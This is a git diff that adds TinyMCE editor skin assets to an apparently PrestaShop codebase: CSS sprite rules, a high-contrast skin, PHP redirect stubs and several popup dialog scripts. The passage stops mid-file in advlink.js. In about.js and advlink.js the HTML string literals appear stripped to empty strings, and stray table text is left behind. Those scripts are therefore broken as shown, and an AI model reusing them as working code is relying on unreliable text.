+.defaultSkin span.mce_redo {background-position:-100px 0} +.defaultSkin span.mce_cleanup {background-position:-40px 0} +.defaultSkin span.mce_bullist {background-position:-20px 0} +.defaultSkin span.mce_numlist {background-position:-80px 0} +.defaultSkin span.mce_justifyleft {background-position:-460px 0} +.defaultSkin span.mce_justifyright {background-position:-480px 0} +.defaultSkin span.mce_justifycenter {background-position:-420px 0} +.defaultSkin span.mce_justifyfull {background-position:-440px 0} +.defaultSkin span.mce_anchor {background-position:-200px 0} +.defaultSkin span.mce_indent {background-position:-400px 0} +.defaultSkin span.mce_outdent {background-position:-540px 0} +.defaultSkin span.mce_link {background-position:-500px 0} +.defaultSkin span.mce_unlink {background-position:-640px 0} +.defaultSkin span.mce_sub {background-position:-600px 0} +.defaultSkin span.mce_sup {background-position:-620px 0} +.defaultSkin span.mce_removeformat {background-position:-580px 0} +.defaultSkin span.mce_newdocument {background-position:-520px 0} +.defaultSkin span.mce_image {background-position:-380px 0} +.defaultSkin span.mce_help {background-position:-340px 0} +.defaultSkin span.mce_code {background-position:-260px 0} +.defaultSkin span.mce_hr {background-position:-360px 0} +.defaultSkin span.mce_visualaid {background-position:-660px 0} +.defaultSkin span.mce_charmap {background-position:-240px 0} +.defaultSkin span.mce_paste {background-position:-560px 0} +.defaultSkin span.mce_copy {background-position:-700px 0} +.defaultSkin span.mce_cut {background-position:-680px 0} +.defaultSkin span.mce_blockquote {background-position:-220px 0} +.defaultSkin .mce_forecolor span.mceAction {background-position:-720px 0} +.defaultSkin .mce_backcolor span.mceAction {background-position:-760px 0} +.defaultSkin span.mce_forecolorpicker {background-position:-720px 0} +.defaultSkin span.mce_backcolorpicker {background-position:-760px 0} + +/* Plugins */ +.defaultSkin span.mce_advhr {background-position:-0px -20px} +.defaultSkin span.mce_ltr {background-position:-20px -20px} +.defaultSkin span.mce_rtl {background-position:-40px -20px} +.defaultSkin span.mce_emotions {background-position:-60px -20px} +.defaultSkin span.mce_fullpage {background-position:-80px -20px} +.defaultSkin span.mce_fullscreen {background-position:-100px -20px} +.defaultSkin span.mce_iespell {background-position:-120px -20px} +.defaultSkin span.mce_insertdate {background-position:-140px -20px} +.defaultSkin span.mce_inserttime {background-position:-160px -20px} +.defaultSkin span.mce_absolute {background-position:-180px -20px} +.defaultSkin span.mce_backward {background-position:-200px -20px} +.defaultSkin span.mce_forward {background-position:-220px -20px} +.defaultSkin span.mce_insert_layer {background-position:-240px -20px} +.defaultSkin span.mce_insertlayer {background-position:-260px -20px} +.defaultSkin span.mce_movebackward {background-position:-280px -20px} +.defaultSkin span.mce_moveforward {background-position:-300px -20px} +.defaultSkin span.mce_media {background-position:-320px -20px} +.defaultSkin span.mce_nonbreaking {background-position:-340px -20px} +.defaultSkin span.mce_pastetext {background-position:-360px -20px} +.defaultSkin span.mce_pasteword {background-position:-380px -20px} +.defaultSkin span.mce_selectall {background-position:-400px -20px} +.defaultSkin span.mce_preview {background-position:-420px -20px} +.defaultSkin span.mce_print {background-position:-440px -20px} +.defaultSkin span.mce_cancel {background-position:-460px -20px} +.defaultSkin span.mce_save {background-position:-480px -20px} +.defaultSkin span.mce_replace {background-position:-500px -20px} +.defaultSkin span.mce_search {background-position:-520px -20px} +.defaultSkin span.mce_styleprops {background-position:-560px -20px} +.defaultSkin span.mce_table {background-position:-580px -20px} +.defaultSkin span.mce_cell_props {background-position:-600px -20px} +.defaultSkin span.mce_delete_table {background-position:-620px -20px} +.defaultSkin span.mce_delete_col {background-position:-640px -20px} +.defaultSkin span.mce_delete_row {background-position:-660px -20px} +.defaultSkin span.mce_col_after {background-position:-680px -20px} +.defaultSkin span.mce_col_before {background-position:-700px -20px} +.defaultSkin span.mce_row_after {background-position:-720px -20px} +.defaultSkin span.mce_row_before {background-position:-740px -20px} +.defaultSkin span.mce_merge_cells {background-position:-760px -20px} +.defaultSkin span.mce_table_props {background-position:-980px -20px} +.defaultSkin span.mce_row_props {background-position:-780px -20px} +.defaultSkin span.mce_split_cells {background-position:-800px -20px} +.defaultSkin span.mce_template {background-position:-820px -20px} +.defaultSkin span.mce_visualchars {background-position:-840px -20px} +.defaultSkin span.mce_abbr {background-position:-860px -20px} +.defaultSkin span.mce_acronym {background-position:-880px -20px} +.defaultSkin span.mce_attribs {background-position:-900px -20px} +.defaultSkin span.mce_cite {background-position:-920px -20px} +.defaultSkin span.mce_del {background-position:-940px -20px} +.defaultSkin span.mce_ins {background-position:-960px -20px} +.defaultSkin span.mce_pagebreak {background-position:0 -40px} +.defaultSkin span.mce_restoredraft {background-position:-20px -40px} +.defaultSkin span.mce_spellchecker {background-position:-540px -20px} diff --git a/js/tiny_mce2/themes/advanced/skins/highcontrast/content.css b/js/tiny_mce2/themes/advanced/skins/highcontrast/content.css new file mode 100755 index 0000000..ee3d369 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/highcontrast/content.css @@ -0,0 +1,24 @@ +body, td, pre { margin:8px;} +body.mceForceColors {background:#FFF; color:#000;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {display:inline-block; width:11px !important; height:11px !important; background:url(../default/img/items.gif) no-repeat 0 0;} +span.mceItemNbsp {background: #DDD} +td.mceSelected, th.mceSelected {background-color:#3399ff !important} +img {border:0;} +table, img, hr, .mceItemAnchor {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr {border-bottom:1px dashed #CCC; cursor:help} + +img:-moz-broken {-moz-force-broken-image-icon:1; width:24px; height:24px} +font[face=mceinline] {font-family:inherit !important} +*[contentEditable]:focus {outline:0} diff --git a/js/tiny_mce2/themes/advanced/skins/highcontrast/dialog.css b/js/tiny_mce2/themes/advanced/skins/highcontrast/dialog.css new file mode 100755 index 0000000..dafcd28 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/highcontrast/dialog.css @@ -0,0 +1,105 @@ +/* Generic */ +body { +font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; +background:#F0F0EE; +color: black; +padding:0; +margin:8px 8px 0 8px; +} + +html {background:#F0F0EE; color:#000;} +td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +textarea {resize:none;outline:none;} +a:link, a:visited {color:black;background-color:transparent;} +a:hover {color:#2B6FB6;background-color:transparent;} +.nowrap {white-space: nowrap} + +/* Forms */ +fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;} +legend {color:#2B6FB6; font-weight:bold;} +label.msg {display:none;} +label.invalid {color:#EE0000; display:inline;background-color:transparent;} +input.invalid {border:1px solid #EE0000;background-color:transparent;} +input {background:#FFF; border:1px solid #CCC;color:black;} +input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +input, select, textarea {border:1px solid #808080;} +input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} +input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} +.input_noborder {border:0;} + +/* Buttons */ +#insert, #cancel, input.button, .updateButton { +font-weight:bold; +width:94px; height:23px; +cursor:pointer; +padding-bottom:2px; +float:left; +} + +#cancel {float:right} + +/* Browse */ +a.pickcolor, a.browse {text-decoration:none} +a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} +.mceOldBoxModel a.browse span {width:22px; height:20px;} +a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} +a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} +a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} +.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} +a.pickcolor:hover span {background-color:#B2BBD0;} +a.pickcolor:hover span.disabled {} + +/* Charmap */ +table.charmap {border:1px solid #AAA; text-align:center} +td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} +#charmap a {display:block; color:#000; text-decoration:none; border:0} +#charmap a:hover {background:#CCC;color:#2B6FB6} +#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} +#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} + +/* Source */ +.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} +.mceActionPanel {margin-top:5px;} + +/* Tabs classes */ +.tabs {width:100%; height:18px; line-height:normal;} +.tabs ul {margin:0; padding:0; list-style:none;} +.tabs li {float:left; border: 1px solid black; border-bottom:0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block; cursor:pointer;} +.tabs li.current {font-weight: bold; margin-right:2px;} +.tabs span {float:left; display:block; padding:0px 10px 0 0;} +.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} +.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} + +/* Panels */ +.panel_wrapper div.panel {display:none;} +.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} +.panel_wrapper {border:1px solid #919B9C; padding:10px; padding-top:5px; clear:both; background:white;} + +/* Columns */ +.column {float:left;} +.properties {width:100%;} +.properties .column1 {} +.properties .column2 {text-align:left;} + +/* Titles */ +h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} +h3 {font-size:14px;} +.title {font-size:12px; font-weight:bold; color:#2B6FB6;} + +/* Dialog specific */ +#link .panel_wrapper, #link div.current {height:125px;} +#image .panel_wrapper, #image div.current {height:200px;} +#plugintable thead {font-weight:bold; background:#DDD;} +#plugintable, #about #plugintable td {border:1px solid #919B9C;} +#plugintable {width:96%; margin-top:10px;} +#pluginscontainer {height:290px; overflow:auto;} +#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} +#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} +#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} +#colorpicker #light div {overflow:hidden;} +#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} +#colorpicker .panel_wrapper div.current {height:175px;} +#colorpicker #namedcolors {width:150px;} +#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} +#colorpicker #colornamecontainer {margin-top:5px;} diff --git a/js/tiny_mce2/themes/advanced/skins/highcontrast/index.php b/js/tiny_mce2/themes/advanced/skins/highcontrast/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/highcontrast/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/highcontrast/ui.css b/js/tiny_mce2/themes/advanced/skins/highcontrast/ui.css new file mode 100755 index 0000000..81da151 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/highcontrast/ui.css @@ -0,0 +1,102 @@ +/* Reset */ +.highcontrastSkin table, .highcontrastSkin tbody, .highcontrastSkin a, .highcontrastSkin img, .highcontrastSkin tr, .highcontrastSkin div, .highcontrastSkin td, .highcontrastSkin iframe, .highcontrastSkin span, .highcontrastSkin *, .highcontrastSkin .mceText {border:0; margin:0; padding:0; vertical-align:baseline; border-collapse:separate;} +.highcontrastSkin a:hover, .highcontrastSkin a:link, .highcontrastSkin a:visited, .highcontrastSkin a:active {text-decoration:none; font-weight:normal; cursor:default;} +.highcontrastSkin table td {vertical-align:middle} + +.highcontrastSkin .mceIconOnly {display: block !important;} + +/* External */ +.highcontrastSkin .mceExternalToolbar {position:absolute; border:1px solid; border-bottom:0; display:none; background-color: white;} +.highcontrastSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;} +.highcontrastSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px;} + +/* Layout */ +.highcontrastSkin table.mceLayout {border: 1px solid;} +.highcontrastSkin .mceIframeContainer {border-top:1px solid; border-bottom:1px solid} +.highcontrastSkin .mceStatusbar a:hover {text-decoration:underline} +.highcontrastSkin .mceStatusbar {display:block; line-height:1.5em; overflow:visible;} +.highcontrastSkin .mceStatusbar div {float:left} +.highcontrastSkin .mceStatusbar a.mceResize {display:block; float:right; width:20px; height:20px; cursor:se-resize; outline:0} + +.highcontrastSkin .mceToolbar td { display: inline-block; float: left;} +.highcontrastSkin .mceToolbar tr { display: block;} +.highcontrastSkin .mceToolbar table { display: block; } + +/* Button */ + +.highcontrastSkin .mceButton { display:block; margin: 2px; padding: 5px 10px;border: 1px solid; border-radius: 3px; -moz-border-radius: 3px; -webkit-border-radius: 3px; -ms-border-radius: 3px; height: 2em;} +.highcontrastSkin .mceButton .mceVoiceLabel { height: 100%; vertical-align: center; line-height: 2em} +.highcontrastSkin .mceButtonDisabled .mceVoiceLabel { opacity:0.6; -ms-filter:'alpha(opacity=60)'; filter:alpha(opacity=60);} +.highcontrastSkin .mceButtonActive, .highcontrastSkin .mceButton:focus, .highcontrastSkin .mceButton:active { border: 5px solid; padding: 1px 6px;-webkit-focus-ring-color:none;outline:none;} + +/* Separator */ +.highcontrastSkin .mceSeparator {display:block; width:16px; height:26px;} + +/* ListBox */ +.highcontrastSkin .mceListBox { display: block; margin:2px;-webkit-focus-ring-color:none;outline:none;} +.highcontrastSkin .mceListBox .mceText {padding: 5px 6px; line-height: 2em; width: 15ex; overflow: hidden;} +.highcontrastSkin .mceListBoxDisabled .mceText { opacity:0.6; -ms-filter:'alpha(opacity=60)'; filter:alpha(opacity=60);} +.highcontrastSkin .mceListBox a.mceText { padding: 5px 10px; display: block; height: 2em; line-height: 2em; border: 1px solid; border-right: 0; border-radius: 3px 0px 0px 3px; -moz-border-radius: 3px 0px 0px 3px; -webkit-border-radius: 3px 0px 0px 3px; -ms-border-radius: 3px 0px 0px 3px;} +.highcontrastSkin .mceListBox a.mceOpen { padding: 5px 4px; display: block; height: 2em; line-height: 2em; border: 1px solid; border-left: 0; border-radius: 0px 3px 3px 0px; -moz-border-radius: 0px 3px 3px 0px; -webkit-border-radius: 0px 3px 3px 0px; -ms-border-radius: 0px 3px 3px 0px;} +.highcontrastSkin .mceListBox:focus a.mceText, .highcontrastSkin .mceListBox:active a.mceText { border-width: 5px; padding: 1px 10px 1px 6px;} +.highcontrastSkin .mceListBox:focus a.mceOpen, .highcontrastSkin .mceListBox:active a.mceOpen { border-width: 5px; padding: 1px 0px 1px 4px;} + +.highcontrastSkin .mceListBoxMenu {overflow-y:auto} + +/* SplitButton */ +.highcontrastSkin .mceSplitButtonDisabled .mceAction {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} + +.highcontrastSkin .mceSplitButton { border-collapse: collapse; margin: 2px; height: 2em; line-height: 2em;-webkit-focus-ring-color:none;outline:none;} +.highcontrastSkin .mceSplitButton td { display: table-cell; float: none; margin: 0; padding: 0; height: 2em;} +.highcontrastSkin .mceSplitButton tr { display: table-row; } +.highcontrastSkin table.mceSplitButton { display: table; } +.highcontrastSkin .mceSplitButton a.mceAction { padding: 5px 10px; display: block; height: 2em; line-height: 2em; overflow: hidden; border: 1px solid; border-right: 0; border-radius: 3px 0px 0px 3px; -moz-border-radius: 3px 0px 0px 3px; -webkit-border-radius: 3px 0px 0px 3px; -ms-border-radius: 3px 0px 0px 3px;} +.highcontrastSkin .mceSplitButton a.mceOpen { padding: 5px 4px; display: block; height: 2em; line-height: 2em; border: 1px solid; border-radius: 0px 3px 3px 0px; -moz-border-radius: 0px 3px 3px 0px; -webkit-border-radius: 0px 3px 3px 0px; -ms-border-radius: 0px 3px 3px 0px;} +.highcontrastSkin .mceSplitButton .mceVoiceLabel { height: 2em; vertical-align: center; line-height: 2em; } +.highcontrastSkin .mceSplitButton:focus a.mceAction, .highcontrastSkin .mceSplitButton:active a.mceAction { border-width: 5px; border-right-width: 1px; padding: 1px 10px 1px 6px;-webkit-focus-ring-color:none;outline:none;} +.highcontrastSkin .mceSplitButton:focus a.mceOpen, .highcontrastSkin .mceSplitButton:active a.mceOpen { border-width: 5px; border-left-width: 1px; padding: 1px 0px 1px 4px;-webkit-focus-ring-color:none;outline:none;} + +/* Menu */ +.highcontrastSkin .mceNoIcons span.mceIcon {width:0;} +.highcontrastSkin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid; } +.highcontrastSkin .mceMenu table {background:white; color: black} +.highcontrastSkin .mceNoIcons a .mceText {padding-left:10px} +.highcontrastSkin .mceMenu a, .highcontrastSkin .mceMenu span, .highcontrastSkin .mceMenu {display:block;background:white; color: black} +.highcontrastSkin .mceMenu td {height:2em} +.highcontrastSkin .mceMenu a {position:relative;padding:3px 0 4px 0; display: block;} +.highcontrastSkin .mceMenu .mceText {position:relative; display:block; cursor:default; margin:0; padding:0 25px 0 25px;} +.highcontrastSkin .mceMenu pre.mceText {font-family:Monospace} +.highcontrastSkin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:26px;} +.highcontrastSkin td.mceMenuItemSeparator {border-top:1px solid; height:1px} +.highcontrastSkin .mceMenuItemTitle a {border:0; border-bottom:1px solid} +.highcontrastSkin .mceMenuItemTitle span.mceText {font-weight:bold; padding-left:4px} +.highcontrastSkin .mceNoIcons .mceMenuItemSelected span.mceText:before {content: "\2713\A0";} +.highcontrastSkin .mceMenu span.mceMenuLine {display:none} +.highcontrastSkin .mceMenuItemSub a .mceText:after {content: "\A0\25B8"} +.highcontrastSkin .mceMenuItem td, .highcontrastSkin .mceMenuItem th {line-height: normal} + +/* ColorSplitButton */ +.highcontrastSkin div.mceColorSplitMenu table {background:#FFF; border:1px solid; color: #000} +.highcontrastSkin .mceColorSplitMenu td {padding:2px} +.highcontrastSkin .mceColorSplitMenu a {display:block; width:16px; height:16px; overflow:hidden; color:#000; margin: 0; padding: 0;} +.highcontrastSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} +.highcontrastSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF} +.highcontrastSkin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid; background-color:#B6BDD2} +.highcontrastSkin a.mceMoreColors:hover {border:1px solid #0A246A; color: #000;} +.highcontrastSkin .mceColorPreview {display:none;} +.highcontrastSkin .mce_forecolor span.mceAction, .highcontrastSkin .mce_backcolor span.mceAction {height:17px;overflow:hidden} + +/* Progress,Resize */ +.highcontrastSkin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=50); background:#FFF} +.highcontrastSkin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(../default/img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} + +/* Formats */ +.highcontrastSkin .mce_p span.mceText {} +.highcontrastSkin .mce_address span.mceText {font-style:italic} +.highcontrastSkin .mce_pre span.mceText {font-family:monospace} +.highcontrastSkin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} +.highcontrastSkin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} +.highcontrastSkin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} +.highcontrastSkin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} +.highcontrastSkin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} +.highcontrastSkin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} diff --git a/js/tiny_mce2/themes/advanced/skins/index.php b/js/tiny_mce2/themes/advanced/skins/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/abbr.js b/js/tiny_mce2/themes/advanced/skins/o2k7/abbr.js new file mode 100755 index 0000000..1790e83 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/abbr.js @@ -0,0 +1,28 @@ +/** + * abbr.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('abbr'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertAbbr() { + SXE.insertElement('abbr'); + tinyMCEPopup.close(); +} + +function removeAbbr() { + SXE.removeElement('abbr'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/about.js b/js/tiny_mce2/themes/advanced/skins/o2k7/about.js new file mode 100755 index 0000000..daf4909 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/about.js @@ -0,0 +1,73 @@ +tinyMCEPopup.requireLangPack(); + +function init() { + var ed, tcont; + + tinyMCEPopup.resizeToInnerSize(); + ed = tinyMCEPopup.editor; + + // Give FF some time + window.setTimeout(insertHelpIFrame, 10); + + tcont = document.getElementById('plugintablecontainer'); + document.getElementById('plugins_tab').style.display = 'none'; + + var html = ""; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + + tinymce.each(ed.plugins, function(p, n) { + var info; + + if (!p.getInfo) + return; + + html += ''; + + info = p.getInfo(); + + if (info.infourl != null && info.infourl != '') + html += ''; + else + html += ''; + + if (info.authorurl != null && info.authorurl != '') + html += ''; + else + html += ''; + + html += ''; + html += ''; + + document.getElementById('plugins_tab').style.display = ''; + + }); + + html += ''; + html += '
    ' + ed.getLang('advanced_dlg.about_plugin') + '' + ed.getLang('advanced_dlg.about_author') + '' + ed.getLang('advanced_dlg.about_version') + '
    ' + info.longname + '' + info.longname + '' + info.author + '' + info.author + '' + info.version + '
    '; + + tcont.innerHTML = html; + + tinyMCEPopup.dom.get('version').innerHTML = tinymce.majorVersion + "." + tinymce.minorVersion; + tinyMCEPopup.dom.get('date').innerHTML = tinymce.releaseDate; +} + +function insertHelpIFrame() { + var html; + + if (tinyMCEPopup.getParam('docs_url')) { + html = ''; + document.getElementById('iframecontainer').innerHTML = html; + document.getElementById('help_tab').style.display = 'block'; + document.getElementById('help_tab').setAttribute("aria-hidden", "false"); + } +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/acronym.js b/js/tiny_mce2/themes/advanced/skins/o2k7/acronym.js new file mode 100755 index 0000000..93b8d25 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/acronym.js @@ -0,0 +1,28 @@ +/** + * acronym.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('acronym'); + if (SXE.currentAction == "update") { + SXE.showRemoveButton(); + } +} + +function insertAcronym() { + SXE.insertElement('acronym'); + tinyMCEPopup.close(); +} + +function removeAcronym() { + SXE.removeElement('acronym'); + tinyMCEPopup.close(); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/advhr.css b/js/tiny_mce2/themes/advanced/skins/o2k7/advhr.css new file mode 100755 index 0000000..3fe369c --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/advhr.css @@ -0,0 +1,5 @@ +input.radio {border:1px none #000; background:transparent; vertical-align:middle;} +.panel_wrapper div.current {height:80px;} +#width {width:50px; vertical-align:middle;} +#width2 {width:50px; vertical-align:middle;} +#size {width:100px;} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/advimage.css b/js/tiny_mce2/themes/advanced/skins/o2k7/advimage.css new file mode 100755 index 0000000..228530f --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/advimage.css @@ -0,0 +1,13 @@ +#src_list, #over_list, #out_list {width:280px;} +.mceActionPanel {margin-top:7px;} +.alignPreview {border:1px solid #000; width:140px; height:140px; overflow:hidden; padding:5px;} +.checkbox {border:0;} +.panel_wrapper div.current {height:305px;} +#prev {margin:0; border:1px solid #000; width:428px; height:150px; overflow:auto;} +#align, #classlist {width:150px;} +#width, #height {vertical-align:middle; width:50px; text-align:center;} +#vspace, #hspace, #border {vertical-align:middle; width:30px; text-align:center;} +#class_list {width:180px;} +input {width: 280px;} +#constrain, #onmousemovecheck {width:auto;} +#id, #dir, #lang, #usemap, #longdesc {width:200px;} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/advlink.css b/js/tiny_mce2/themes/advanced/skins/o2k7/advlink.css new file mode 100755 index 0000000..66c6549 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/advlink.css @@ -0,0 +1,8 @@ +.mceLinkList, .mceAnchorList, #targetlist {width:280px;} +.mceActionPanel {margin-top:7px;} +.panel_wrapper div.current {height:320px;} +#classlist, #title, #href {width:280px;} +#popupurl, #popupname {width:200px;} +#popupwidth, #popupheight, #popupleft, #popuptop {width:30px;vertical-align:middle;text-align:center;} +#id, #style, #classes, #target, #dir, #hreflang, #lang, #charset, #type, #rel, #rev, #tabindex, #accesskey {width:200px;} +#events_panel input {width:200px;} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/advlink.js b/js/tiny_mce2/themes/advanced/skins/o2k7/advlink.js new file mode 100755 index 0000000..2862e4c --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/advlink.js @@ -0,0 +1,539 @@ +/* Functions for the advlink plugin popup */ + +tinyMCEPopup.requireLangPack(); + +var templates = { + "window.open" : "window.open('${url}','${target}','${options}')" +}; + +function preinit() { + var url; + + if (url = tinyMCEPopup.getParam("external_link_list_url")) + document.write(''); +} + +function changeClass() { + var f = document.forms[0]; + + f.classes.value = getSelectValue(f, 'classlist'); +} + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + var formObj = document.forms[0]; + var inst = tinyMCEPopup.editor; + var elm = inst.selection.getNode(); + var action = "insert"; + var html; + + document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser','href','file','advlink'); + document.getElementById('popupurlbrowsercontainer').innerHTML = getBrowserHTML('popupurlbrowser','popupurl','file','advlink'); + document.getElementById('targetlistcontainer').innerHTML = getTargetListHTML('targetlist','target'); + + // Link list + html = getLinkListHTML('linklisthref','href'); + if (html == "") + document.getElementById("linklisthrefrow").style.display = 'none'; + else + document.getElementById("linklisthrefcontainer").innerHTML = html; + + // Anchor list + html = getAnchorListHTML('anchorlist','href'); + if (html == "") + document.getElementById("anchorlistrow").style.display = 'none'; + else + document.getElementById("anchorlistcontainer").innerHTML = html; + + // Resize some elements + if (isVisible('hrefbrowser')) + document.getElementById('href').style.width = '260px'; + + if (isVisible('popupurlbrowser')) + document.getElementById('popupurl').style.width = '180px'; + + elm = inst.dom.getParent(elm, "A"); + if (elm == null) { + var prospect = inst.dom.create("p", null, inst.selection.getContent()); + if (prospect.childNodes.length === 1) { + elm = prospect.firstChild; + } + } + + if (elm != null && elm.nodeName == "A") + action = "update"; + + formObj.insert.value = tinyMCEPopup.getLang(action, 'Insert', true); + + setPopupControlsDisabled(true); + + if (action == "update") { + var href = inst.dom.getAttrib(elm, 'href'); + var onclick = inst.dom.getAttrib(elm, 'onclick'); + + // Setup form data + setFormValue('href', href); + setFormValue('title', inst.dom.getAttrib(elm, 'title')); + setFormValue('id', inst.dom.getAttrib(elm, 'id')); + setFormValue('style', inst.dom.getAttrib(elm, "style")); + setFormValue('rel', inst.dom.getAttrib(elm, 'rel')); + setFormValue('rev', inst.dom.getAttrib(elm, 'rev')); + setFormValue('charset', inst.dom.getAttrib(elm, 'charset')); + setFormValue('hreflang', inst.dom.getAttrib(elm, 'hreflang')); + setFormValue('dir', inst.dom.getAttrib(elm, 'dir')); + setFormValue('lang', inst.dom.getAttrib(elm, 'lang')); + setFormValue('tabindex', inst.dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); + setFormValue('accesskey', inst.dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); + setFormValue('type', inst.dom.getAttrib(elm, 'type')); + setFormValue('onfocus', inst.dom.getAttrib(elm, 'onfocus')); + setFormValue('onblur', inst.dom.getAttrib(elm, 'onblur')); + setFormValue('onclick', onclick); + setFormValue('ondblclick', 